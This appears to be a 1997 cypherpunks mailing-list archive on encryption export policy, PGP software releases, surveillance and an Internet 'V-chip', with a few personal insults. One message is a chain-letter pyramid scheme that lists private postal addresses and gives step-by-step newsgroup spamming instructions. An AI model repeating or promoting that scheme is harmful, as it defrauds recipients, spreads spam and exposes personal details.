Message-ID: <199705300023.RAA15917@netcom11.netcom.com>



>The gloom and doom types like to claim that it is trivial for the almighty 
>Feds to find out everything about every one, look inside the souls of all of 
>us, separate the good from the evil and unerringly punish the evil.  
>Omniscience, omnipresence, omnipotence. Oddly enough, this claim is often
>made 
>by people who, otherwise, don't believe in God.
>

not sure if you are referring to TCM here as a "gloom and doom" type.
but it seems that we ought to be able to design a government that
does not rely on the supposed inherent incompetence of bureacrats
and or humans in general for security of the citizen. in other words,
your general argument that "see!! feds are really STUPID!! they 
wouldn't be SMART enough to infringe on your rights!!" is a pretty
lame argument overall.

>But this article on citizenship revocation gives lie to this claim of state 
>power.

state power in the US, as it stands currently. but what the past shows
is that government can change abruptly. it only matters who is in 
power. I think what people here are worried about are abrupt changes
in the government, which can happen quite fast 
with e.g. new laws that are legislated. there are plenty of cases
where the entire government has changed radically *without* even
law changes. the manipulation of the ITAR and e.g. the recent
changing in policy relative to the amount of money that is reported
to FinCEN by banks are good examples. the government can change its
mind on a dime. 

  Citizenship applicants have submitted vast quantities of information 
>about themselves to the Feds.  They have undergone years of a staged and 
>complex process to move from nonresident alien to resident alien to citizen.  
>At every point, they NARCed themselves out in detail directly to the federal 
>government.  And yet, that same government can't even tell if these people
>are 
>"criminals."
>
>If they can't efficiently surveil and regulate this group, what chance do
>they 
>have to regulate and surveil the other 260 million of us?

a totalitarian state is quite possible, although difficult to conceive
of. it's a problem that some people
are interested in solving. what is most difficult is an "invisible
tyranny" in which the inhabitants are not even aware of their
imprisonment, and perhaps even defend such a situation.
 a system that we live in right now, imho. (but to elaborate on 
this would rely on conspiracy theories)






From lucifer at dhp.com  Thu May 29 17:49:47 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Fri, 30 May 1997 08:49:47 +0800
Subject: No Subject
Message-ID: <199705300033.UAA14527@dhp.com>


Press Release

      Pretty Good Privacy Receives Government Approval to Export
      Strong Encryption

      SAN MATEO, Calif., May 28, 1997 -- Pretty Good Privacy, Inc.
      (www.pgp.com), the world leader in digital privacy and security
      software, today announced that the U.S. Department of Commerce
      has approved the export of Pretty Good Privacy's encryption
      software to the overseas offices of the largest companies in the
      United States. This makes Pretty Good Privacy the only U.S.
      company currently authorized to export strong encryption
      technology not requiring key recovery to foreign subsidiaries
      and branches of the largest American companies. 

      Click here to view the list of approved companies.

      The approval allows Pretty Good Privacy to export strong,
      128-bit encryption without a requirement that the exported
      products contain key recovery features or other back doors that
      enable government access to keys. More than one-half of the
      Fortune 100 already use PGP domestically to secure their
      corporate data and communications. 

      "Now we are able to export strong encryption technology to the
      overseas offices of more than 100 of the largest companies in
      America, without compromising the integrity of the product or
      the strength of the encryption," said Phil Dunkelberger,
      President of Pretty Good Privacy, Inc. "We worked closely with
      the State Department when they controlled the export of
      encryption, and are now working with the Commerce Department.
      And we have never had a license application denied." 

      The license allows export of strong encryption technology,
      without government access to keys, to the overseas subsidiaries
      and branch offices of more than 100 of the largest American
      companies, provided that the offices are not located in
      embargoed countries, namely Cuba, Iran, Iraq, Libya, North
      Korea, Sudan or Syria. 

      "As far as we know, Pretty Good Privacy, Inc. is now the only
      company that has U.S. government approval to sell strong
      encryption to the worldwide subsidiaries and branch offices of
      such a large number of U.S. corporations, without having to
      compromise on the strength of the encryption or add schemes
      designed to provide government access to keys," said Robert H.
      Kohn, vice president and general counsel of Pretty Good Privacy.
      "Pretty Good Privacy still opposes export controls on
      cryptographic software, but this license is a major step toward
      meeting the global security needs of American companies." 

      The U.S. government restricts the export of encryption using key
      lengths in excess of 40 bits. However, 40-bit cryptography is
      considered "weak," because it can be broken in just a few hours.
      Generally, the U.S. government will grant export licenses for up
      to 56-bit encryption if companies commit to develop methods for
      government access to keys. For anything over 56 bits, actual
      methods for government access must be in place. 

      Pretty Good Privacy's license permits the export of 128-bit or
      "strong" encryption, without any requirement of a key recovery
      mechanism that enables government access to the data. A message
      encrypted with 128-bit PGP software is
      309,485,009,821,341,068,724,781,056 times more difficult to
      break than a message encrypted using 40-bit technology. In fact,
      according to estimates published by the U.S. government, it
      would take an estimated 12 million times the age of the
      universe, on average, to break a single 128-bit message
      encrypted with PGP. 

      "Pretty Good Privacy, Inc. has been working diligently to ensure
      compliance with the export control laws. Clearly, the Commerce
      Department recognizes the needs of reputable American companies
      to protect their intellectual property and other sensitive
      business information using strong cryptography," said Roszel C.
      Thomsen II, partner at the law firm of Thomsen and Burke LLP. 

      "User demand for strong cryptography is growing worldwide," said
      Marc Rotenberg, director of Electronic Privacy Information
      Center, and a leading privacy-rights advocate. "This is just one
      more example of the need to remove obstacles to the export of
      the best products the U.S. can provide." 

      Companies that are approved for the export of Pretty Good
      Privacy's strong encryption should contact Pretty Good Privacy's
      sales office at 415.572.0430 or visit the company's web site at
      www.pgp.com. Companies that are not currently on the list of
      licenses obtained by Pretty Good Privacy, but would like to gain
      approval to use strong encryption in their branch offices and
      subsidiaries around the world, should also contact Pretty Good
      Privacy at 415.572.0430 for information about how to be included
      in future government-approved export licenses for PGP. 

About Pretty Good Privacy, Inc. 

      Pretty Good Privacy (www.pgp.com), founded in March 1996, is the
      leading provider of digital-privacy products for private
      communications and the secure storage of data for businesses and
      individuals. Pretty Good Privacy's original encryption software
      for email applications (PGP) was distributed as freeware in 1991
      by Phil Zimmermann, Chief Technical Officer and Founder of
      Pretty Good Privacy, and allowed individuals, for the first
      time, to send information without risk of interception. With
      millions of users, it has since become the world leader in email
      encryption and the de facto standard for Internet mail
      encryption. Over one half of the Fortune 100 companies use PGP.
      In order to provide only the strongest encryption software,
      Pretty Good Privacy publishes all of its encryption source code
      and algorithms for extensive peer review and public scrutiny.
      The company can be reached at 415.572.0430; http://www.pgp.com. 

      For more information, please contact Mike Nelson, Pretty Good
      Privacy's Director of Corporate Communications, at 415.524.6203.











From lucifer at dhp.com  Thu May 29 18:49:14 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Fri, 30 May 1997 09:49:14 +0800
Subject: No Subject
Message-ID: <199705300124.VAA20205@dhp.com>


           Last Friday, in a town hall
           meeting on education in Clarksburg, West
           Virginia, President Clinton made some news on
           the technology front. 

           Answering a question from a parent about how
           to keep children safe on the Net, the president
           talked about the Communications Decency Act's
           travails in federal court. Then he said "we're
           working on" a technological fix, a V-chip for PCs
           that could protect children from harm. Later,
           reporters pressed White House aides on
           whether there was a new V-chip initiative. The
           new chip is out there, they said, somewhere
           "within the industry." 

           From White House transcripts of the event and
           later briefings: 

           Jim Eschenmann: Mr. President, my name is
           Jim Eschenmann. I'm a proud parent of a
           4-year-old preschooler. Your administration, as
           well as the local board of education, has placed
           a large emphasis on connecting every classroom
           to the Internet. What additional measures can
           we take to protect our school students from the
           harmful areas of the Internet while guaranteeing
           full access to post-secondary students and to
           protect the freedom of speech? 

           President Clinton: Well, you know, I signed a
           bill - when I signed the telecommunications bill ...
           I had a provision in there to try to protect against
           young people being exposed to some of the
           harmful things that are on the Internet. Not just
           pornography but, as I'm sure a lot of you know
           because of the events in the news in the last
           couple of years, there are even instructions on
           how to build bombs and things like that. There
           are lot of things on there that we wouldn't want
           our children to see. 

           That provision has been thrown out by a court
           and is still in the courts, I think. So it may be that
           what we have to do is try to develop something
           like the equivalent of what we're developing for
           you for television, like the V-chip, where it's put
           in the hands of the parents or the educators.
           And then if it were in the hands of the educators
           the school board could approve certain
           guidelines. 

           It's technically more difficult with the Internet. As
           you know, there are hundreds of new services
           being added to the Internet every week. It's
           growing at an explosive capacity and we're in
           the process actually of trying to develop an
           Internet II. But I think that is the answer.
           Something like the V-chip for televisions. And
           we're working on it. I think it's a serious potential
           problem myself. 

           But let me say it would be a serious potential
           problem if they were not in the schools. I think
           putting them in the schools, because the kids
           are normally under supervision, you have a far
           less likelihood that the Internet will be abused or
           that the children will be exposed to something
           they shouldn't see during the school hours, in all
           likelihood, than at home. But I do think you need
           guidelines in both places and we're doing our
           best to try to figure out if there's some
           technological fix we can give you on it. 

           Briefing by spokeswoman Ann Lewis (22 May): 

           Q.: Three things that Clinton said - suggesting
           V-chips for the Internet, endorsing year-round
           schooling, and speaking favorably of high school
           competency tests before graduation. Are any of
           those new, or are those things he has said
           before? 

           Ann Lewis: From my understanding, looking at
           the conversations back and forth on the V-chip
           for the Internet, as you know this is a principle
           the president has talked about for a long time,
           which is giving parents the tools they need, and
           it's the principle he referred to when he
           supported the - came out in support of the
           V-chip. He thinks it continues to be an issue. 

           Second, if you go back and look at his speech
           on Net Day, when he gave a radio address and
           we did some talking about the Internet, he
           announced that he had asked the Department of
           Education and Secretary [Richard] Riley to come
           up with a parents' guide to the Internet,
           recognizing that it is a wonderful resource but
           that many families also feel they could use some
           help in ensuring that their children get the most
           out of the Internet. 

           And, third, it's our understanding, and we just
           checked this with people at the White House
           who know much more about technology than all
           of us put together, that there is in fact
           technology being developed that would serve as
           the equivalent of a V-chip for the Internet, and
           we think that's what the president referred to. 

           Q.: Clinton has talked before about giving
           parents ways to protect their children on the
           Internet, but has he ever before suggested the
           idea of a V-chip for the Internet? 

           Lewis: Not that we know of, but we know - as is
           clear, I think, from his wording, he is aware that
           the technology has been developing. 

           Q.: But has he talked about this before? 

           Lewis: We don't think so. We were going to try
           to do a huge Nexis search; that's going to take a
           long time. We don't remember that
           conversation.... 

           Q.: You said the technology is being developed
           - who is developing it? 

           Lewis: I can't, but we can get you more
           information. It's my understanding it's being
           developed within the industry. 

           Q.: That's like the stuff like Kidsitter and all the
           stuff that's already available on the Internet.
           There are a lot of sites. 

           Lewis: There are a lot of sort of monitors you
           can put on that. We think this may be a little
           more advanced, and we're trying to get more
           information. 

           White House Press Secretary Mike McCurry
           and spokesman Barry Toiv (23 May):
           Q.: Mike, yesterday the president endorsed the
           idea of a V-chip for the Internet. Was that the
           first time he did that, and how does the White
           House plan to proceed? 

           Mike McCurry: Did anyone work on that
           yesterday? That was - there is some, I think,
           R&D work, technical work that's being done to
           develop new software. I'm not sure where within
           the government they're doing it.... 

           Q.: Mike, I'm still trying to figure out, was
           yesterday the first time the president endorsed a
           V-chip for the Internet? 

           McCurry: Did you do any yesterday on the
           V-chip question? Barry [Toiv] may have handled
           this up in West Virginia yesterday. 

           Barry Toiv: Well, I'm not sure I have more than
           you got yesterday from Ann Lewis. The
           president has not specifically mentioned the
           V-chip, but this is work that we've been doing
           because he's been concerned, obviously, about
           ways that parents can help - can protect their
           kids with regard to stuff that comes through on
           the Internet. 

           Apparently, it's our understanding that
           technology does exist within the industry. It's
           being developed by the industry. And so I think
           the president was referring to that yesterday. 

           Q.: Is there any procedure that - I mean, is it
           something that - is there any kind of official
           "endorsement" you expect? 

           Toiv: Well, right now - not right at this moment,
           but it's something we're looking at. 






From dlv at bwalk.dm.com  Thu May 29 21:33:12 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 30 May 1997 12:33:12 +0800
Subject: Anonymizer upgrades
In-Reply-To: <199705292215.PAA11815@sirius.infonex.com>
Message-ID: 


lcottrell at infonex.com (Lance Cottrell) writes:

> Finally, while it has been true for some time, it is not widely known that
> the Anonymizer is owned and operated by Infonex. We took over management of
> the Anonymizer several months ago. For those not familiar with Infonex, we
> have been active in the privacy business for some time. We host several
> anonymous remailers, we offer anonymous shell accounts through our
> subsidiary Cyberpass (www.cyberpass.net), and I personally developed the
> Mixmaster anonymous remailer system.
>
>        Lance Cottrell

Just what is your affiliation with C2Net, boy?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From MoneyMan at goplay.com  Fri May 30 15:06:53 1997
From: MoneyMan at goplay.com (MoneyMan at goplay.com)
Date: Fri, 30 May 1997 15:06:53 -0700 (PDT)
Subject: TURN $5.00 INTO $50,000 IN 6 WEEKS !!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Message-ID: <199705302112.OAA04889@iceland.it.earthlink.net>




YOU CAN START YOUR OWN INTERNET BUSINESS IN YOUR SPARE TIME!!!

As you know the internet is growing at a tremendous rate. And
I'm sure you realize that millions of dollars are exchanged
for goods and services on the internet each day. Have you ever
said to yourself "I would like to use my computer too make
money" (or to make more money)??
WELL YOU CAN AND WILL MAKE THOUSANDS OF DOLLARS QUICKLY AND
EASILY IF YOU FOLLOW THESE SIMPLE INSTRUCTIONS!!!
The Business program outlined below is a simplified form of 
E-mail marketing. Do not take this opportunity lightly, it is a
powerful tool that will allow you to have your own business
and start you on the path to financial freedom.

I KNOW THIS BUSINESS WORKS!! IT HAS WORKED FOR ME AND IT WILL 
WORK FOR YOU. By the time you receive this business plan there 
is a good chance that I will have been removed from the system.
But thats ok because I have already made a tremendous amount of
money using this system, and I would like to see your life change 
as much as mine has. There is nothing more rewarding than 
knowing that I have helped many good and honest people enrich 
their lives. Follow the instructions listed below EXACTLY and
you will be on your way. Good Luck, and share the wealth.

                                    Sincerely,
                                        Samuel Abbott Ph.D.

STEP1).
Get 5 pieces of 8.5"x11" paper and write:
"Please add me to your information mailing list"
Now take 5 $1 bills and fold $1 inside each piece of paper.
Place the request and money in 5 seperate envelopes and seal.
Carefully address the envelopes with the 5 addresses provided
below.(Be sure to include a return address and a stamp!)
Now mail the requests In a timely manner.

#1) D. Ewing; 7620 Washington; Kansas City, Mo. 64114

#2) Shari Davis; 1635 Manning Way; Colorado Springs, CO. 80919 

#3) J. Turner; 5460 White Oak Ave #C207, Encino, CA 91316

#4) Steve Wrubel; 3234 Nebraska Place; Costa Mesa, CA. 92626

#5) E. Bennett; 18226 Ventura Blvd #202, Tarzana, CA 91356


STEP2).
Copy this entire business plan and make the following changes:
Remove the #1 name off the list.
Place your name in the #5 position and move the other 4 names
up. (#5moves to#4, #4moves to#3, #3moves to#2, #2moves to#1)
Your name is now the bottom of the list.

STEP3).
POST THIS ARTICLE ON AT LEAST 200 NEWSGROUPS!!!!!!!
E-MAIL THIS ARTICLE TO EVERYONE YOU CAN!!!!!!!
IMPORTANT NOTE: You MUST post this article to AT LEAST 200
newsgroups. There are about 45,000 newsgroups, with more being 
added every day. Each time you post on a newsgroup your message
will be seen by many different people.
You should send this article via E-mail to as many people as
possible. E-mail addresses are available for free through many 
sources on the internet. You can also purchase E-mail lists from
several companies for a very small fee.
Remember it's your business and the more places you send it
to, the better your chances of success! (I highly recommend
that you send it out to more than 200 places).
REMEMBER TO PUT A CATCHY PHRASE IN THE SUBJECT BOX.

CONGRATULATIONS YOU HAVE JUST JOINED A GROUP OF ENTREPRENEURS!

Let me review why this works.....
Send out 200 articles and with a 5% response you get $10.
Those 10 people send out 200 and at 5% you get $100.
Those 100 people send out 200 and at 5% you get $1000.
Those 1000 people send out 200 and at 5% you get $10,000.
Those 10,000 people send out 200 and at 5% you get $100,000.
EVERYDAY THOUSANDS OF PEOPLE JOIN THE INTERNET!!!!!!!!!!!

The above example is a perfect case scenerio. The response rate
varies typically from 2% to 10%. To increase your success rate
I suggest that you post this article to AT LEAST 200 newsgroups
and send it to as many individuals as possible. Remember many 
people will see this article when it is posted on a newsgroup!!
Also note that many of the people you send it to are likely to
send it out to more than 200 newsgroups and people.

You don't have to retype this article every time you send it, 
just follow the instructions below and you will see just how  
easy this business is. If you follow these simple instructions
there is no way you can lose. Every day several thousands of 
people get on the internet. Don't delay start today, you'll be 
glad you did!!!!!!!!!!!!!!!!!!!

POSTING TO NEWSGROUPS USING NETSCAPE:
1) Click on any newsgroup, like normal. 
    Then click on to " To News" in the top left corner of the 
    Newsgroups page. This will bring up a message box.
2) Fill in the subject box with a catchy phrase such as:
    $$$FAST CASH$$$, ARE YOU THE PERSON WHO..., or the like.
3) Now go to the message part of the box and retype this letter
    exactly as it is here. (The only thing you change is adding
    your name in the #5 position and moving the other addresses
     up 1 position each, thus removing the #1 name).
4) When you are done typing in the WHOLE letter, click on "File"
    above the send button, then "Save as..." DO NOT SEND YOUR
    LETTER UNTIL YOU SAVE IT!!(this is so you only have to type
     this once).
5) Now that you have saved the letter, go ahead and send your 
    First copy!(click the send button in the top left corner).
6) THIS IS WHERE YOU POST AT LEAST 200 TIMES!!! OK, go to any
    newsgroup article and click the "To News" button. Type in 
    Your catchy phrase in the SUBJECT BOX, then go to the body
    part of the message box and place your cursor there.
   NOW click on "Attachment" which is right below the SUBJECT BOX.
    Click on "attach file", then find the letter you saved, click
    once on your saved file, then click "Open", Then click "OK".
   If you did this right, you should see your filename in the
    attachment box and it will be shaded. 
   NOW POST AWAY!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

IF YOU ARE USING INTERNET EXPLORER:
1) Its just as easy, Holding down the left mouse button,
    highlight this entire article, then press the the "CTRL" key
    and the "C" key at the same time to copy this letter.
2) Now go to the newsgroups and press "POST AN ARTICLE", Type in
    your catchy phrase in the subject box, and click the large  
    window below. Press "CTRL" and "V" and the article will 
    appear in the message window. **BE SURE TO MAKE YOUR ADDRESS 
    CHANGES TO THE 5 NAMES**
3) Now re-highlight the letter and RE-COPY it so you have the 
    changes...Then all you have to do for each newsgroup is
    press "CTRL" and "V" and press "POST" it's that easy!!!!!

 Thats it ! All you have to do is jump to different newsgroups
   and post away. For both methods it only takes about 30 seconds
   to post to each newsgroup. Once you get the hang of it.

REMEMBER THE MORE NEWSGROUPS YOU POST TO THE MORE MONEY YOU MAKE!!
 YOU MUST POST TO A MINIMUM OF 200 NEWSGROUPS!!!!!!!!!!!!!!!

You should start receiving replies within a week or so (sometimes
 they come within days)

BE SURE TO SEND OUT $1 TO THE PEOPLE ON THE LIST PROMPTLY!!!!!!!!!

PERSISTENCE AND HONESTY WILL REAP YOU HUGE REWARDS!!!!!!!!!!!!!

DO NOT TO LET THIS OPPORTUNITY PASS YOU BY!!!!!!!!!!!!!!!!!

FOR JUST $5 YOU CAN CHANGE YOUR LIFE!!!!!!!!!!!!!!!

REMEMBER: THE PERSON WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING.
 
Print this article so you have the addresses to send to, and the
 information on file.







From stewarts at ix.netcom.com  Fri May 30 00:54:59 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 30 May 1997 15:54:59 +0800
Subject: Libraries!  Partial Solution to PGP Windows Wars and Source Code
Message-ID: <3.0.1.32.19970530003356.00756ee0@popd.ix.netcom.com>


[There's been a major flame war on pgp-users about the lack of Win3.1 
support, and more than a few cypherpunks have asked about source.]

PGP has always had a policy of making the source code available;
it was one of the big things that let us trust it.
PGP has also been available under a variety of platforms,
whether written/ported by Phil and associates, or ported by others.

Recently, PGP Inc. has come out with several major systems, including
- PGP 3.0 and 3.0.1 pre-alpha code, including libraries,
	which have been published in book form and on the net.
	For portability and compatibility, the most important things
	are the algorithms and file formats used.
- PGP 5.0 with fancy user interface for Win32 only.

I'm assuming that PGP 5.0 is written using the PGP 3.0.1 libraries* -
if they've got any sense, they've used the same libraries with at
most some bug fixes and/or simple new features that they can put out as 
a point release, and limited the Win32-related stuff to GUIs,
interfaces to other Windows programs, and similar non-portable stuff,
some of which can be bullied into working on DOS or Win16
and some of which is too much trouble to crowbar in.
If so, then *you* can do your own GUI work on Win16, MacOS 6, and OS/360,
and be sure of interoperability with Fancy New PGP.
In particular, the user-friendliness front-end programs like pgpclip 
and Private Idaho can use the libraries instead of having to 
pop up DOS subsystems to run.  (PI was very nice with ViaCrypt 2.7.1,
which let everything run as communicating Windows programs.)

Using the libraries also helps us trust the security -
it doesn't mean the GUIware doesn't also send a copy of your passphrase
to aldrich at nsavax.us, but it does let you build interoperable code you
can trust, and it makes it easier to verify that at least the
basic crypto routines are solid.

[* Perhaps I'm naive, and I must confess to not finishing all 
4 volumes of code, but I'd _hope_ they did the right thing...]






#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From stewarts at ix.netcom.com  Fri May 30 01:23:44 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 30 May 1997 16:23:44 +0800
Subject: Newsflash: PGP approved for export of strong crypto
In-Reply-To: 
Message-ID: <3.0.1.32.19970530010005.007679f0@popd.ix.netcom.com>


-----BEGIN PGP SIGNED MESSAGE-----

Subject: Re: Newsflash: PGP approved for export of strong crypto
To: ddt at pgp.com, cypherpunks at toad.com

Hi, Dave!   Thanks for forwarding the press release to various lists.
(Could you also forward this along to Mike Nelson?  The press release
didn't include his email :-)  I was interested in a couple of issues.

1) Cool - especially doing it without GAK!  This kind of thing is a 
major wedge in the export control regime, even if it is mainly for the
big players first.

2) Are there explicit terms a company has to agree to to be
allowed to export PGP to its non-US subs/branches, or is it
just negotiation with the State Department?  Does it take excessive
expensive legal paperwork, or is it something just about anybody could do?
Could Bill Stewart Consulting (i.e. just me) meet the requirements?

After a company is approved, are there special record-keeping requirements,
or could I just email or registered-US-Snail or DHL-mail a copy to 
my branch in Japan or the UK?  (One of the interesting cases for me is
subsidiaries that are joint ventures with other companies such as
non-government-owned foreign telcos.)

3) Your press release said:
>   In order to provide only the strongest encryption software, 
>   Pretty Good Privacy publishes all of its encryption source code 
>   and algorithms for extensive peer review and public scrutiny. 
Does this mean that the non-encryption parts of your code probably
won't be reviewed, at least in public?  


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM46IIfthU5e7emAFAQEi4wIAnnS3BM1lZuw179QNq7unrr9IIBAEUI7e
ww46TBni27NUL9F5vN54L2HYTlg15Je3hfMTPKcSQn6abAvT12e+Vg==
=huGZ
-----END PGP SIGNATURE-----

BTW, the 5.0 plug-in to Eudora is nice!  I'm having a little trouble guessing
when it's going to include my signature block and when it's not,
but so far I like it, and the Win95 PGPtray widget was also convenient.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From MoneyMan at goplay.com  Fri May 30 18:47:01 1997
From: MoneyMan at goplay.com (MoneyMan at goplay.com)
Date: Fri, 30 May 1997 18:47:01 -0700 (PDT)
Subject: Apology
Message-ID: <199705310106.SAA22257@iceland.it.earthlink.net>


This is a formal apology for the Chain letter I sent you. I was 
not aware at the time that things such as these were illegal. Please
be reassured that you will no longer be recieving any mail from me.
I am once again sorry if I have caused you any problems.



Eric





From frissell at panix.com  Fri May 30 04:24:57 1997
From: frissell at panix.com (frissell at panix.com)
Date: Fri, 30 May 1997 19:24:57 +0800
Subject: Libraries!  Partial Solution to PGP Windows Wars and Source  Code
In-Reply-To: <3.0.1.32.19970530003356.00756ee0@popd.ix.netcom.com>
Message-ID: <3.0.2.32.19970530070318.035fc7ac@panix.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 12:33 AM 5/30/97 -0700, Bill Stewart wrote:

>- PGP 5.0 with fancy user interface for Win32 only.

Note that 4.5 is Win/32 only but 5.0 is also available for (the latest) 
Macintosh OS.  [So "latest" that Tim May can't run it.]  

DCF

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQCVAwUBM46z9YVO4r4sgSPhAQGpYgQAhim1CSTGzPu1y9A2f5fgITNLa3g1uZGh
nwxemQJ08cwQQJYMjZfXIbXZO9QrhIByryT5d94fzvxo9vr9K8OuukKSf6drVX+b
pHPI0wsrV4zv7tTt1b2Gsf+P8h0haY+tTb/tu7F+hCGvvXO1B2bpYM1slTdWuznh
5ZK4Xyud/pk=
=E6ZL
-----END PGP SIGNATURE-----






From ppomes at Qualcomm.com  Fri May 30 06:09:58 1997
From: ppomes at Qualcomm.com (Paul Pomes)
Date: Fri, 30 May 1997 21:09:58 +0800
Subject: Anonymizer upgrades
In-Reply-To: 
Message-ID: <7036.864996545@zelkova.qualcomm.com>


|Just what is your affiliation with C2Net, boy?

Sonny, go learn some manners around your betters.

--
Academic politics is the most vicious and bitter form of politics,
because the stakes are so low.
		-- Wallace Sayre






From whgiii at amaranth.com  Fri May 30 06:37:55 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 30 May 1997 21:37:55 +0800
Subject: Libraries!  Partial Solution to PGP Windows Wars and Source Code
In-Reply-To: <3.0.1.32.19970530003356.00756ee0@popd.ix.netcom.com>
Message-ID: <199705301317.IAA02117@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.1.32.19970530003356.00756ee0 at popd.ix.netcom.com>, on 05/30/97 
   at 12:33 AM, Bill Stewart  said:

>- PGP 3.0 and 3.0.1 pre-alpha code, including libraries,
>	which have been published in book form and on the net.
>	For portability and compatibility, the most important things
>	are the algorithms and file formats used.

Hi Bill,

Could you point me to a location where 3.0 code is available on the net? I
would be very intrested in this. Also have you heard any word on the
release of source code for PGP Phone? I know that the MIT download site
mentioned that this would be made available but I have yet to see anything
(not intrested in the GUI stuff but would like to see the crytpo & data
compression algorithims).

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------
 
Tag-O-Matic: Turn your 486 into a Gameboy: Type WIN at C:\>

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM47UU49Co1n+aLhhAQGxegQArqfIYFL975P4obAnLhJHlKfD4LETVQaR
7uToPOeB85akzKV9Q5Ut+E6sjzrnKFlujBrkRt7jZYXd9mPXty5wSVioxoNDuUQM
qrtRvCvjlW0R/ikoVMAW6NVU+k0JohmGR1l6uRI0ZBdRD347Ll4yQrwiAGe6165B
O0VlxRUwgUY=
=28u/
-----END PGP SIGNATURE-----






From rah at shipwright.com  Fri May 30 07:16:32 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 30 May 1997 22:16:32 +0800
Subject: PGPlib-0.2 available
Message-ID: 



--- begin forwarded text


To: pgplib-announce at petium.rhein.de
Subject: PGPlib-0.2 available
Date: Fri, 30 May 1997 15:06:42 +0200
From: Tage Stabell-Kulo 
Reply-To: tage at acm.org
Sender: pgplib-announce-owner at petium.rhein.de
Precedence: list

-----BEGIN PGP SIGNED MESSAGE-----


Announcing PGPlib-0.2
=====================

We are pleased to announce a new verison of PGPlib.  You can obtain
the newest version (that is 0.2 as of today) from

	ftp://dslab1.cs.uit.no/pub/PGPlib.tar.gz

In short, you will find a library that enables your software to read
and write "packages" which can be decrypted and/or verified by means
of PGP.  In other words, you can incorporate PGP compatibility in your
software without having to run PGP.

When you uncompress and un-tar the file, you will obtain four files in
the CURRENT directory.  These files are

	README			Describing how to preceed
	PGPlib-0.2.tar		The library, manual pages and so on
	PGPlib-0.2.tar.asc	A detached signature for verification
	pubkey.asc		My public key (again, for verification)

It is described in README how to verify the release you have obtained,
how to unpack, what you will actually get when you unpack, and so on.

What is there for you
=====================

PGPlib is a library that lets you generate (and manipulate) PGP
packets without having to run PGP.  In particular there is code to
generate and understand the following types of PGP packets:

   - Literal with filename, mode, etc.  You can create literate
     packages from files, or from buffers, and create files from
     literate packets;
   - Convential encrypted (IDEA with Zimmermann's context sensitive
     feedback).  The library can both read (decrypt) and write
     (encrypt) convential packets (in PGP format);
   - Armor.  You can (de)armor a buffer or a file into a buffer or a
     file;
   - UserID packets are read and written in a variety of formats;
   - Keys can be obtained from a database (which is provided) or by
     parsing keyrings.  Keys can be kept in buffers or on files;
   - You can maintain a PGP public-key database (I use this library to
     maintain a database with ~40.000 keys).  There is code to use DBM
     as supplied from Berkeley or, if you prefer, GDBM from GNU;
   - You can verify RSA signatures on public keys and on buffers
     (files);
   - You can encrypt data (file or buffer) with public keys.  The DEK
     is naturally written as a separate packet;
   - With a secret key you can sign other keys and buffers.  Keys can
     be read from databases or files; they are decrypted on the fly.

We have made a small program that will (de)armor anything, a parser to
parse PGP files (including decryption and so on), a shell to
manipulate a keydatabase, a keyserver to run on top of such a
database, a program to verify signatures on keys and/or files, a
program to split keyrings in smaller parts and a program that will
sign files for you.  You will find all these (and more) in the
applications/ directory.  None of these uses PGP, the library provides
all the functionality you need.

What you need
=============

   - You must have the SSLeay library as I have not implemented any
     cryptographic functionality; I hope SSLeay is a good choice. I
     did not major in mathematics and can thus not judge the quality
     of their work, although it looks solid (to me).  I link with their
     version 0.6.6.  I rely on SSLeay for great many things, in
     particular their BIGNUMs, RSA encryption and IDEA.  I use
     "fprintf(stderr" when problems occur, but integration into the
     SSLeay "error-system" might happen.  You can obtain SSLeay from:
        * ftp://ftp.psy.uq.oz.au/pub/Crypto/SSL/ - SSLeay source
        * ftp://ftp.psy.uq.oz.au/pub/Crypto/SSLapps/ - SSL applications
        * http://www.psy.uq.oz.au/~ftp/Crypto/ssl.html - SSLeay Programmer
          Reference
     SSLeay is quite large and I only use a fraction of it.  On the
     other hand, SSLeay seems to be well maintained and their
     crypto-library might very well shrink or become more modular as
     time passes.


Your Feedback
=============

   Your feedback is solicited.  Peter Simons  has
   created a mailinglist for PGPlib.  To subscribe, send an e-mail to
   the address pgplib-dev-request at petium.rhein.de and write the
   command SUBSCRIBE into the BODY. If you want to be subscribed under
   a different address than the one you're mailing from, you can also
   use SUBSCRIBE yourname at somewhere.else to do the trick.  To post to
   the list, send an e-mail to pgplib-dev at petium.rhein.de as usual.

   There is also an pgplib-announce at petium.rhein.de.  Subscribe by
   sending an e-mail to pgplib-announce-request at petium.rhein.de with
   SUBSCRIBE in the body.  The latter list will be very low-volume.

   If you write a nice application based on this library (the ultimate
   feedback :-), please feel free to send it to  me and I will include
